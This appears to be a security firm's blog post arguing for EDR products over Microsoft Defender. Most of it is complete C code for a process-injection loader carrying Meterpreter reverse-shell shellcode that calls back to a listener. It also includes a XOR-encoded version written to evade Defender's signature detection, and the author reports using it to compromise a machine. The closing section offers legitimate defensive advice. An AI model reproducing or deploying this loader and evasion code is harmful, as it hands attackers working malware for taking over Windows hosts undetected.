Introduction
“Why should I waste money to buy an expensive EDR when I can just use Microsoft Defender for free?”
Sometimes, organizations try to save money, and of course, we can understand why. Truly. However, some things should NOT be excluded. A good EDR is one of them.
“So, why should I buy an EDR if it is still bypassable?”
It’s true, even the ‘best’ EDRs can be bypassed. But the question should be “How sophisticated should the hacker be to bypass my defense mechanisms?”
That’s the question we aim to answer in this article.
Disclaimer
The information provided in this guide by Penetrentix Ltd. is intended solely for educational and research purposes, to help security professionals better understand potential vulnerabilities and strengthen their defensive strategies. Any demonstrations of bypassing security measures, including but not limited to Windows Defender, are presented only to illustrate techniques that attackers may attempt, and to encourage stronger protections.
This article is not intended to criticize Microsoft or its products, but rather to raise awareness and promote security best practices. Attempting to bypass security measures for malicious purposes is illegal and unethical. Penetrentix Ltd. does not condone, support, or encourage any unlawful activity, including but not limited to unauthorized access, data theft, or cybercrime of any kind. Readers are expected to use the knowledge shared here responsibly and in full compliance with applicable laws and regulations. Neither Penetrentix Ltd. nor the author shall be held liable for any misuse of the information presented in this publication.
What is the difference between AV and EDR?
There’s a huge difference between AVs (Anti-Virus) and EDRs (Endpoint Detection and Response).
At a high level, while AVs are usually detecting malwares by various static methods like:
Signature Detection - A signature is several known bytes or strings. For example, it searches for known malicious bytes and it alerts something like “CobaltStrike/santaclaus.trojan”.
For instance, if a certain shellcode starts with “FC 48 83 E4 F0 E8”, this might indicate that it’s Msfvenom’s x64 exec payload.

File Hashing Detection - Every file has its own signature (MD5, SHA256).
The anti-malware software will try to compare this signature with its malware database of signatures. If there’s a match, it will pop an alert of Malware detected.

Static Heuristic Analysis - The anti-malware software will try to decompile the suspicious malware and compare code snippets to other known malwares that are already known and that are in the heuristic database.
The EDR involves dynamic detections. For example, Dynamic Heuristic Analysis. The suspicious malware is placed inside a virtual environment (or a sandbox), which is then analyzed by the EDR for any suspicious behaviors. Why would mspaint.exe try to access the internet and save some binary files on the disk? Suspicious as **** if you ask me.
Of course, there are more detection techniques, but we will not get further into it since regular AVs (and Defender lol) are not reaching this level of sophistication.
If it's so simple, prove it then
Let's write a simple code (AKA- the malware) that will easily bypass any simple AV/Defender.
We are going to use regular WINAPI functions, which are imported from kernel32.dll and remain in the user mode layer.
The plan is simple:
Shellcode generation - Will be used for generating a shellcode using msfvenom.
CreateProcessA - Will be used for creating a new process.
VirtualAllocEx - Will be used for allocating memory on the remote process (for our shellcode).
WriteProcessMemory - Will be used for writing the shellcode into the remote allocated memory.
CreateRemoteThreadEx - Will be used for running the new remote thread (shellcode) in the remote process.
Full code should look like this:
1#include <Windows.h>
2#include <stdio.h>
3
4int main() {
5 STARTUPINFOA si;
6 PROCESS_INFORMATION pi;
7 ZeroMemory(&si, sizeof(si));
8 si.cb = sizeof(si);
9 ZeroMemory(&pi, sizeof(pi));
10
11 if (!CreateProcessA("C:\\Windows\\System32\\mspaint.exe", NULL, NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi)) {
12 printf("[-] Couldn't create mspaint.exe process. ERROR: %lu", GetLastError());
13 return 1;
14 }
15 DWORD processID = pi.dwProcessId;
16 HANDLE pHandle = pi.hProcess;
17 printf("[+] mspaint.exe opened. PID: %lu\n", processID);
18
19 unsigned char bu[] =
20 "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
21 "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
22 "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
23 "\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
24 "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
25 "\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
26 "\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
27 "\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
28 "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
29 "\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
30 "\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
31 "\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
32 "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
33 "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
34 "\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
35 "\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00"
36 "\x00\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\xc0\xa8\x70\x92"
37 "\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07"
38 "\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29"
39 "\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48"
40 "\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea"
41 "\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89"
42 "\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x48\x81"
43 "\xc4\x40\x02\x00\x00\x49\xb8\x63\x6d\x64\x00\x00\x00\x00"
44 "\x00\x41\x50\x41\x50\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0"
45 "\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01\x01"
46 "\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6\x56\x50\x41"
47 "\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff\xc8\x4d"
48 "\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5\x48"
49 "\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
50 "\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5"
51 "\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
52 "\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";
53
54 SIZE_T shellcodeSize = sizeof(bu);
55
56 LPVOID vace = VirtualAllocEx(pHandle, NULL, shellcodeSize, (MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);
57 if (vace == NULL) {
58 printf("[-] Couldn't allocate memory on remote process. ERROR: %lu", GetLastError());
59 return 1;
60 }
61 printf("[+] Allocated memory on: 0x%p\n", vace);
62
63 SIZE_T bytesWritten = 0;
64 if (!WriteProcessMemory(pHandle, vace, bu, shellcodeSize, &bytesWritten)) {
65 printf("[-] Couldn't write to process memory. ERROR: %lu", GetLastError());
66 CloseHandle(pHandle);
67 return 1;
68 }
69 printf("[+] %d bytes written to process memory.\n", bytesWritten);
70
71 DWORD tID;
72 HANDLE crt = CreateRemoteThreadEx(pHandle, NULL, 0, (LPTHREAD_START_ROUTINE)vace, NULL, 0, 0, &tID);
73 if (crt == NULL) {
74 printf("[-] Couldn't create remote thread. ERROR: %lu", GetLastError());
75 CloseHandle(pHandle);
76 return 1;
77 }
78 printf("[*] THREAD EXECUTED! GO CHECK THE LISTENER!!!!\n");
79
80 WaitForSingleObject(crt, INFINITE);
81 printf("[!] Bye bye!");
82 CloseHandle(crt);
83 CloseHandle(pHandle);
84 return 0;
85}
After compiling the code, let's move it to the victim’s machine.

As seen below, it is flagged as a virus before I even executed it.

That means that our shellcode (Meterpreter) that we have generated before is getting detected automatically.
Hmmm, that sounds familiar… (Signature Detection).
We can bypass this by encrypting the shellcode, making it unrecognizable to signature-based detection mechanisms. Let’s write a simple code that uses XOR to encrypt the shellcode with a key.
1#include <Windows.h>
2#include <stdio.h>
3
4VOID XorByOneKey(IN PBYTE pShellcode, IN SIZE_T sShellcodeSize, IN BYTE bKey) {
5 for (size_t i = 0; i < sShellcodeSize - 1; i++) {
6 pShellcode[i] = pShellcode[i] ^ bKey;
7 printf("\\x%02X", pShellcode[i]);
8 }
9}
10
11int main() {
12 unsigned char bu[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
13"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
14"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
15"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
16"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
17"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
18"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
19"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
20"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
21"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
22"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
23"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
24"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
25"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
26"\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
27"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00"
28"\x00\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\xc0\xa8\x70\x92"
29"\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07"
30"\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29"
31"\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48"
32"\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea"
33"\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89"
34"\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x48\x81"
35"\xc4\x40\x02\x00\x00\x49\xb8\x63\x6d\x64\x00\x00\x00\x00"
36"\x00\x41\x50\x41\x50\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0"
37"\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01\x01"
38"\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6\x56\x50\x41"
39"\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff\xc8\x4d"
40"\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5\x48"
41"\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
42"\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5"
43"\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
44"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";
45
46
47 XorByOneKey(bu, sizeof(bu), 0x97148BC4); //Our key is 0x97148BC4
48}

Now we have to implement the decryption function in our code (before WriteProcessMemory), and replace our detected shellcode (meterpreter) with our new encrypted shellcode.
1#include <Windows.h>
2#include <stdio.h>
3
4PBYTE decXOR(IN PBYTE pShellcode, IN SIZE_T sShellcodeSize, IN BYTE bKey) {
5 for (size_t i = 0; i < sShellcodeSize - 1; i++) {
6 pShellcode[i] = pShellcode[i] ^ bKey;
7 }
8 return pShellcode;
9}
10
11int main() {
12 STARTUPINFOA si;
13 PROCESS_INFORMATION pi;
14 ZeroMemory(&si, sizeof(si));
15 si.cb = sizeof(si);
16 ZeroMemory(&pi, sizeof(pi));
17 if (!CreateProcessA("C:\\Windows\\System32\\mspaint.exe", NULL, NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi)) {
18 printf("[-] Couldn't create mspaint.exe process. ERROR: %lu", GetLastError());
19 return 1;
20 }
21 DWORD processID = pi.dwProcessId;
22 HANDLE pHandle = pi.hProcess;
23 printf("[+] mspaint.exe opened. PID: %lu\n", processID);
24
25 unsigned char bu[] = "\x38\x8C\x47\x20\x34\x2C\x04\xC4\xC4\xC4\x85\x95\x85\x94\x96\x95\x92\x8C\xF5\x16\xA1\x8C\x4F\x96\xA4\x8C\x4F\x96\xDC\x8C\x4F\x96\xE4\x8C\x4F\xB6\x94\x8C\xCB\x73\x8E\x8E\x89\xF5\x0D\x8C\xF5\x04\x68\xF8\xA5\xB8\xC6\xE8\xE4\x85\x05\x0D\xC9\x85\xC5\x05\x26\x29\x96\x85\x95\x8C\x4F\x96\xE4\x4F\x86\xF8\x8C\xC5\x14\x4F\x44\x4C\xC4\xC4\xC4\x8C\x41\x04\xB0\xA3\x8C\xC5\x14\x94\x4F\x8C\xDC\x80\x4F\x84\xE4\x8D\xC5\x14\x27\x92\x8C\x3B\x0D\x85\x4F\xF0\x4C\x8C\xC5\x12\x89\xF5\x0D\x8C\xF5\x04\x68\x85\x05\x0D\xC9\x85\xC5\x05\xFC\x24\xB1\x35\x88\xC7\x88\xE0\xCC\x81\xFD\x15\xB1\x1C\x9C\x80\x4F\x84\xE0\x8D\xC5\x14\xA2\x85\x4F\xC8\x8C\x80\x4F\x84\xD8\x8D\xC5\x14\x85\x4F\xC0\x4C\x8C\xC5\x14\x85\x9C\x85\x9C\x9A\x9D\x9E\x85\x9C\x85\x9D\x85\x9E\x8C\x47\x28\xE4\x85\x96\x3B\x24\x9C\x85\x9D\x9E\x8C\x4F\xD6\x2D\x93\x3B\x3B\x3B\x99\x8D\x7A\xB3\xB7\xF6\x9B\xF7\xF6\xC4\xC4\x85\x92\x8D\x4D\x22\x8C\x45\x28\x64\xC5\xC4\xC4\x8D\x4D\x21\x8D\x78\xC6\xC4\xC5\x7F\x04\x6C\xB4\x56\x85\x90\x8D\x4D\x20\x88\x4D\x35\x85\x7E\x88\xB3\xE2\xC3\x3B\x11\x88\x4D\x2E\xAC\xC5\xC5\xC4\xC4\x9D\x85\x7E\xED\x44\xAF\xC4\x3B\x11\x94\x94\x89\xF5\x0D\x89\xF5\x04\x8C\x3B\x04\x8C\x4D\x06\x8C\x3B\x04\x8C\x4D\x05\x85\x7E\x2E\xCB\x1B\x24\x3B\x11\x8C\x4D\x03\xAE\xD4\x85\x9C\x88\x4D\x26\x8C\x4D\x3D\x85\x7E\x5D\x61\xB0\xA5\x3B\x11\x8C\x45\x00\x84\xC6\xC4\xC4\x8D\x7C\xA7\xA9\xA0\xC4\xC4\xC4\xC4\xC4\x85\x94\x85\x94\x8C\x4D\x26\x93\x93\x93\x89\xF5\x04\xAE\xC9\x9D\x85\x94\x26\x38\xA2\x03\x80\xE0\x90\xC5\xC5\x8C\x49\x80\xE0\xDC\x02\xC4\xAC\x8C\x4D\x22\x92\x94\x85\x94\x85\x94\x85\x94\x8D\x3B\x04\x85\x94\x8D\x3B\x0C\x89\x4D\x05\x88\x4D\x05\x85\x7E\xBD\x08\xFB\x42\x3B\x11\x8C\xF5\x16\x8C\x3B\x0E\x4F\xCA\x85\x7E\xCC\x43\xD9\xA4\x3B\x11\x7F\x34\x71\x66\x92\x85\x7E\x62\x51\x79\x59\x3B\x11\x8C\x47\x00\xEC\xF8\xC2\xB8\xCE\x44\x3F\x24\xB1\xC1\x7F\x83\xD7\xB6\xAB\xAE\xC4\x9D\x85\x4D\x1E\x3B\x11";
26 SIZE_T shellcodeSize = sizeof(bu);
27 LPVOID vace = VirtualAllocEx(pHandle, NULL, shellcodeSize, (MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);
28 if (vace == NULL) {
29 printf("[-] Couldn't allocate memory on remote process. ERROR: %lu", GetLastError());
30 return 1;
31 }
32 printf("[+] Allocated memory on: %p\n", vace);
33
34 PBYTE newbu = decXOR(bu, sizeof(bu), 0x97148BC4);
35
36 SIZE_T bytesWritten = 0;
37 if (!WriteProcessMemory(pHandle, vace, newbu, shellcodeSize, &bytesWritten)) {
38 printf("[-] Couldn't write to process memory. ERROR: %lu", GetLastError());
39 CloseHandle(pHandle);
40 return 1;
41 }
42 printf("[+] %d bytes written to process memory.\n", bytesWritten);
43
44 DWORD tID;
45 HANDLE crt = CreateRemoteThreadEx(pHandle, NULL, 0, (LPTHREAD_START_ROUTINE)vace, NULL, 0, 0, &tID);
46 if (crt == NULL) {
47 printf("[-] Couldn't create remote thread. ERROR: %lu", GetLastError());
48 CloseHandle(pHandle);
49 return 1;
50 }
51 printf("[*] THREAD EXECUTED! GO CHECK THE LISTENER!!!!\n");
52
53 WaitForSingleObject(crt, INFINITE);
54 printf("[!] Bye bye!");
55 CloseHandle(crt);
56 CloseHandle(pHandle);
57
58 return 0;
59}
Rebuild and move it to the targeted computer again.

Great. Now it’s not flagged nor getting detected. :)

Now let’s set up our listener:

Execute the malware on the victim machine:

The malware executed successfully! Let’s check our listener!

Successfully bypassed Windows Defender and compromised a machine.
VirusTotal scan (10/03/2025): Link to VirusTotal scan

Let’s retest the malware, but in a workstation with an Elastic EDR (Free Trial - I’m not sponsoring them):

It immediately gets detected and blocked on the spot without being executed.
Conclusion
In conclusion, while it may be tempting for organizations to rely solely on built-in solutions like Microsoft Defender to save costs, it’s important to recognize the limitations of such approaches. As demonstrated, bypassing Microsoft Defender is relatively straightforward for even moderately skilled attackers.
Investing in a comprehensive EDR solution, despite its potential bypassability, significantly raises the bar for attackers. A robust EDR requires a much higher level of sophistication to overcome, thereby enhancing your organization’s overall security posture. It provides advanced detection, response capabilities, and greater visibility into your network, which are critical for defending against today’s sophisticated cyber threats.
While no solution is 100% bypass-proof, organizations can significantly reduce risk by applying layered defenses:
Leverage advanced EDR/XDR solutions that include memory protection, script blocking, and behavior-based detection.
Enable Microsoft Defender for Endpoint (MDE) features such as Attack Surface Reduction (ASR) rules, controlled folder access, and cloud-delivered protection for stronger baseline defenses.
Hunt for suspicious behavior patterns (e.g., unusual use of VirtualAllocEx, WriteProcessMemory, or CreateRemoteThread) that often indicate process injection attempts.
Use defense in depth by combining EDR with strong patch management, network segmentation, and user awareness training.
By adopting these measures, you make it far more difficult for attackers to rely on simple AV bypasses.
Ultimately, the question is not whether an EDR can be bypassed, but how much effort and expertise are required to do so. By implementing a high-quality EDR, you ensure that your defense mechanisms are resilient enough to deter all but the most mid attackers, thus providing your organization with a stronger, more reliable layer of protection.